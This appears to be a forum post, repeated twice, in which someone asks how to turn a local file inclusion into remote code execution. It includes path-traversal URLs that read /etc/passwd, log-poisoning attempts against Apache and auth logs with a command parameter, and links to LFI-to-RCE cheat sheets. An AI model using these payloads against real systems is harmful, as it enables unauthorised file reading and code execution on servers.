I need someone to make me to understand this :
we have this LFI :
https://ip:port/downloadfile.php?file=../../../../../../../../../../etc/passwd
how i can "make" rce:
I will add this 10 " ../ " " ../../../../../../../../../../'" after downloadfile.php?file= "
downloadfile.php?file=../../../../../../../../../../var/log/apache2/access.log&c=id
if i will do :
medium.com/@omarwhadidi9/10-ways-to-get-rce-from-lfi-f2bb696b67f6
github.com/RoqueNight/LFI---RCE-Cheat-Sheet
index.php?file=../../../../../../../var/log/auth.log&c=id
/downloadfile.php?file=../../../../../../../var/log/auth.log&c=id
none of them work
we have this LFI :
https://ip:port/downloadfile.php?file=../../../../../../../../../../etc/passwd
how i can "make" rce:
I will add this 10 " ../ " " ../../../../../../../../../../'" after downloadfile.php?file= "
downloadfile.php?file=../../../../../../../../../../var/log/apache2/access.log&c=id
if i will do :
medium.com/@omarwhadidi9/10-ways-to-get-rce-from-lfi-f2bb696b67f6
github.com/RoqueNight/LFI---RCE-Cheat-Sheet
index.php?file=../../../../../../../var/log/auth.log&c=id
/downloadfile.php?file=../../../../../../../var/log/auth.log&c=id
none of them work